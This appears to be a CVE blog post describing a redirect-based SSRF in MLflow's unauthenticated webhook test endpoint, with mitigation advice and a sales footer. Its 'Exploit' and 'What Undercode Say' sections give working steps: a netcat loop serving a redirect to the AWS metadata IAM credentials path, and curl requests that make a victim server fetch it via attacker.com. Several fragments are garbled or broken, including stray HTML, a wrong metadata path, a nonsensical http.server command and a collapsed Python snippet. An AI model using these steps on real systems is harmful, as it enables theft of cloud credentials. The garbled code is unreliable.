Listen to this Post
MLflow is an open-source platform for managing machine learning, LLM, and agentic AI workflows.
Prior to version 3.15.0, the unauthenticated endpoint `POST /api/2.0/mlflow/webhooks/{id}/test` suffers from a critical SSRF flaw.
The endpoint is intended to test webhook configurations by sending a request to a user‑supplied URL.
During processing, the server calls `_validate_webhook_url()` inside `mlflow/utils/validation.py`.
This validation function checks the provided URL against blocklists for private IPs, loopback, and link‑local addresses.
If the URL passes this check, the request proceeds to the delivery stage implemented in mlflow/webhooks/delivery.py.
The critical vulnerability lies in the architectural gap between validation and actual HTTP delivery.
The delivery module performs its own fresh HTTP request without reusing any validated socket or pinned IP.
Worse, `delivery.py` automatically follows HTTP 3xx redirects returned by the remote server.
After each redirect, it re‑resolves the new hostname without ever reapplying the original validation checks.
This means the validated URL and the finally requested URL can be completely different.
An attacker supplies an initial URL that resolves to a safe, external domain (e.g., http://attacker.com/ok`).192.168.0.1
<h2 style="color: blue;">This passes `_validate_webhook_url()` without any issue.</h2>
The attacker configures their external domain to respond with a 301 redirect to an internal IP.
Targets include `169.254.169.254` (AWS metadata),,127.0.0.1`, or any internal service.
Because the delivery engine follows the redirect, the MLflow server unwittingly calls the internal address.
It then captures the full `response_status` and `response_body` from that internal service.
These sensitive responses are returned directly to the unauthenticated attacker in the API reply.
This effectively bypasses all network firewalls and restrictions that rely on outbound filtering.
The flaw does not require any authentication, making it trivially exploitable over the internet.
Attackers can extract IAM role credentials, read internal configuration files, or probe internal network topology.
The root cause is the failure to pin the validated address to the HTTP client session.
Patching requires enforcing that the final resolved IP matches the validated IP, or disabling redirects entirely.
The issue is completely resolved in version 3.15.0 by implementing strict URL pinning and redirect rejection.
Prior versions remain vulnerable to this one‑two punch of validation bypass and redirect following.
This CVE represents a classic case of time‑of‑check vs. time‑of‑use (TOCTOU) in network request handling.
Given the unauthenticated nature and the high value of cloud metadata, this is a critical severity issue.
DailyCVE Form:
Platform: MLflow
Version: < 3.15.0
Vulnerability : SSRF Redirect Bypass
Severity: Critical
date: 2026-08-17
Prediction: Patched in 3.15.0
What Undercode Say:
Test if endpoint is reachable
curl -X POST http://target:5000/api/2.0/mlflow/webhooks/1/test \
-H "Content-Type: application/json" \
-d '{"url":"http://example.com/redirect"}'
Set up a simple redirector (Python) on attacker.com
python3 -m http.server 8080 --directory /dev/null &
Serve a redirect response using a custom handler
echo -e "HTTP/1.1 301 Moved Permanently\nLocation: http://169.254.169.254/latest/meta-iam/security-credentials/\n\n" | nc -l -p 80
Check for successful internal response in the API reply
curl -X POST http://target:5000/api/2.0/mlflow/webhooks/1/test \
-H "Content-Type: application/json" \
-d '{"url":"http://attacker.com/ok"}' | jq .
Python code to demonstrate the validation bypass concept import requests Step 1: This URL passes the validation (public, safe) initial_url = "http://attacker.com/legit" Step 2: Server validates only this string (passes) Step 3: Delivery engine follows redirect to internal IP redirect_target = "http://169.254.169.254/latest/meta-data/" Attacker's server (simulated) returns 301 to redirect_target The MLflow server then requests redirect_target and returns the response
Exploit: (Educational Purposes!)
1. Start a listener on attacker.com that responds with a 302 redirect
to the AWS metadata endpoint.
while true; do echo -e "HTTP/1.1 302 Found\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n" | nc -l -v -p 80 -q 1; done
2. Send the malicious webhook test request to the target MLflow server.
curl -X POST "http://<victim-mlflow>:5000/api/2.0/mlflow/webhooks/1/test" \
-H "Content-Type: application/json" \
-d '{"url": "http://attacker.com/legit"}'
3. The MLflow server validates "http://attacker.com/legit" (allowed).
4. It then follows the 302 redirect to the metadata endpoint.
5. The API response body will contain the IAM role name and credentials.
Protection:
Upgrade to MLflow version 3.15.0 or later immediately.
If upgrading is not possible, implement network‑level egress filtering to block all outbound requests to RFC‑1918, loopback, and link‑local addresses from the MLflow server.
Disable the webhook test endpoint by routing it through a reverse proxy that rejects such requests.
Apply a patch that modifies `delivery.py` to disable automatic redirect following (set `allow_redirects=False` in the HTTP client).
Validate the final resolved IP address against the blocklist after all redirects are resolved, or pin the original validated socket.
Impact:
Unauthenticated attackers can read any internal HTTP service reachable from the MLflow server.
Primary impact is the exfiltration of cloud provider metadata (AWS, GCP, Azure) leading to full account compromise via IAM credential theft.
Enables internal network reconnaissance, disclosing configuration endpoints, internal dashboards, and microservice APIs.
The vulnerability provides a direct tunnel from the public internet to the internal infrastructure without any authentication.
This can be chained with other internal exploits to achieve remote code execution within the corporate network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
